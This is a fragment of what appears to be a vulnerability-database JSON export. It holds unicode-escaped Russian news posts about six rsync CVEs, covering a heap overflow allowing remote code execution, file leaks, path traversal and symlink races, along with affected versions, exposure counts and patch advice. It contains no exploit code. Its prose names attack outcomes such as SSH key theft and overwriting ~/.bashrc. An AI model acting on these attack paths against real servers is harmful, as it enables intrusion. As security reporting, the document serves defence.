\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "ca794653-0de1-4429-a25a-19a552c919c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e 